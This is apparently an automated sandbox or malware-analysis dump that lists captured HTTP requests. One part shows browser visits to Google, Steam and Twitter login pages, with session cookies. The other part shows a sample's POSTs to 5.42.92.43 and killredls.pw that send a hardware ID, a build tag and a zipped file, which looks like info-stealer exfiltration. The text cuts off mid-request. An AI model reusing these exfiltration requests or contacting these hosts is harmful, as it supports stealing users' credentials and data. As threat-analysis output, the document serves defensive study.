/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyznYjlqSYE5JlLK9PJsTmzOQsU1P2LVa3cVV6VwvBbN6FvPqPdn3WvevBRR2hCo6z5_k7fyXw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S369200035%3A1699816373710141&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:ovQhX184X5GA1oSK7qXaZsx1oc-Lxw:skb4C-G5JMyhLf-lConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:Q4NH8nLKpnhRwP6BblxG8TGzK7bFpw:5O_R6rRQDCMIrG9XConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyw44fH8B0xPRlfXb7rAm6jqDrHa67KayB1ZJkgcCFf0K0a2_XrqfkKMJ6elx6ZDRBEqvKGVXg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:KXBGKws54CzuVrznDTMbxRZPC9FttQ:1z4h4S16XwuAupn3Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:C_8sx2FdMv_G0ng-8yZkbnUu4EpW_A:thIeVjfWX8gZbTyj"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:C_8sx2FdMv_G0ng-8yZkbnUu4EpW_A:thIeVjfWX8gZbTyj; OTZ=7291815_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=1618741094019633836&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=69335&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S369200035:1699816373710141",null,null,"AVQVeyznYjlqSYE5JlLK9PJsTmzOQsU1P2LVa3cVV6VwvBbN6FvPqPdn3WvevBRR2hCo6z5_k7fyXw"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 164DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:C_8sx2FdMv_G0ng-8yZkbnUu4EpW_A:thIeVjfWX8gZbTyj; OTZ=7291815_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/jserror?script=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fidentifier%3Fcontinue%3Dhttps%253A%252F%252Faccounts.google.com%252F%26followup%3Dhttps%253A%252F%252Faccounts.google.com%252F%26ifkv%3DAVQVeyznYjlqSYE5JlLK9PJsTmzOQsU1P2LVa3cVV6VwvBbN6FvPqPdn3WvevBRR2hCo6z5_k7fyXw%26passive%3D1209600%26flowName%3DGlifWebSignIn%26flowEntry%3DServiceLogin%26dsh%3DS369200035%253A1699816373710141%26theme%3Dglif&error=qb%60https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2F_%2FAccountsSignInUi%2Fdata%2Fbatchexecute%3Frpcids%3DUEkKwb%26source-path%3D%252Fv3%252Fsignin%252Fidentifier%26f.sid%3D1618741094019633836%26bl%3Dboq_identityfrontendauthuiserver_20231105.08_p1%26hl%3Den-US%26_reqid%3D69335%26rt%3Dc%60400&line=Not%20available HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 8303DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:h2edCKUi-BvtwMNTLQPg5SEHUnaoRg:ID3qwDVcaJQwBxVk; OTZ=7291815_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/reporthttp4xxerror?url=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2F_%2FAccountsSignInUi%2Fdata%2Fbatchexecute%3Frpcids%3DUEkKwb%26source-path%3D%252Fv3%252Fsignin%252Fidentifier%26f.sid%3D1618741094019633836%26bl%3Dboq_identityfrontendauthuiserver_20231105.08_p1%26hl%3Den-US%26_reqid%3D69335%26rt%3Dc&status=400&traceid HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 0DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:h2edCKUi-BvtwMNTLQPg5SEHUnaoRg:ID3qwDVcaJQwBxVk; OTZ=7291815_52_52_123900_48_436380"; in File: "SSL") Found requests in header "GET /generate_204?bNjL6A HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:h2edCKUi-BvtwMNTLQPg5SEHUnaoRg:ID3qwDVcaJQwBxVk; OTZ=7291815_52_52_123900_48_436380; NID=511=F6f_PqqjXmmDdqNCSfAHltJfniBJtjZGReboiPBTvnLfs53jScsd_fsjFitj4gJEhih9qSTKEIOasz-xzZaJ4ZOJbSLJnPFWsCCW1d4Lr8XG38bqVV0BKZpHOFMaCPeWR1S_fsWOdQmjs7H86f_1hYAYNhPY5Qt1lrg-RrAhqf0"; in File: "SSL") Found requests in header "GET /generate_204?X917lw HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:h2edCKUi-BvtwMNTLQPg5SEHUnaoRg:ID3qwDVcaJQwBxVk; OTZ=7291815_52_52_123900_48_436380; NID=511=bjf39-2LDozmBwV4dNtQ7H-AhvqRTgozDHUBeG96e-UFg1JLR2JdA1QucETDT3sk3n6Zj3HjVX7w5S25wvDDHVoKWqb_n67q-Zj7TrWIzMYtio-ESrv80UDshp662pj4AUpW4HQBoOjJSO-ZgoucHk-k76iKYnifFu98lqbKSJc"; in File: "SSL") Found requests in header "GET /v3/signin/_/AccountsSignInUi/gen204/?tmambps=0.00005316259216142802&rtembps=-1&rttms=3 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:h2edCKUi-BvtwMNTLQPg5SEHUnaoRg:ID3qwDVcaJQwBxVk; OTZ=7291815_52_52_123900_48_436380; NID=511=bjf39-2LDozmBwV4dNtQ7H-AhvqRTgozDHUBeG96e-UFg1JLR2JdA1QucETDT3sk3n6Zj3HjVX7w5S25wvDDHVoKWqb_n67q-Zj7TrWIzMYtio-ESrv80UDshp662pj4AUpW4HQBoOjJSO-ZgoucHk-k76iKYnifFu98lqbKSJc"; in File: "SSL") Found requests in header "GET /login/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: store.steampowered.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: twitter.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHIoiT-65iMVakMzsOqTDMIGph2hg/m=_b,_tp HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlFzBOOnuN1DTGGLPRg8a1QQot3pWA/m=_b,_tp HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFo-pGcuy8ggFJrMH4h9k3FpFc9hA/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,fJpY1b,b3kMqb,EGw7Od,ZUKRxc,my67ye,t2srLd,EN3i8d,hmHrle,mWLH9d,NOeYWe,O6y8ed,fqEYIb,PrPYRd,MpJwZc,hc6Ubd,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,SpsfSb,tUnxGc,aW3pY,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,xBaz7b,eVCnO,LDQI HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFo-pGcuy8ggFJrMH4h9k3FpFc9hA/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,fJpY1b,b3kMqb,EGw7Od,ZUKRxc,my67ye,t2srLd,EN3i8d,hmHrle,mWLH9d,NOeYWe,O6y8ed,fqEYIb,PrPYRd,MpJwZc,hc6Ubd,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,SpsfSb,tUnxGc,aW3pY,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,xBaz7b,eVCnO,LDQI HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=Wt6vjf,hhhU8,FCpbqb,WhJNk HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,FCpbqb,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,WhJNk,Wt6vjf,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hhhU8,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,Rusgnf,Ctsu,UPKV3d,bPkrc,W2YXuc,pxq3x,IZ1fbc,soHxf,kSPLL,qPfo0c,yRXbo,bTi8wc,ywOR5c,PHUIyb HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,FCpbqb,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,W2YXuc,WhJNk,Wt6vjf,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hhhU8,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFo-pGcuy8ggFJrMH4h9k3FpFc9hA/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL")5d:Ta83,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=NaRqPfNbJd2IsgRfIEfIContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache--NaRqPfNbJd2IsgRfIEfIContent-Disposition: form-data; name="hwid"QjIyMDJFQ0Q2NUJEMjM3NTI2MTQ0Mw==--NaRqPfNbJd2IsgRfIEfIContent-Disposition: form-data; name="build"Z29yZGE=--NaRqPfNbJd2IsgRfIEfI--"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"17BA1A51B54DF32384656C62E387795BAE26AFD4--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"17BA1A51B54DF32384656C62E387795BAE26AFD4--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api 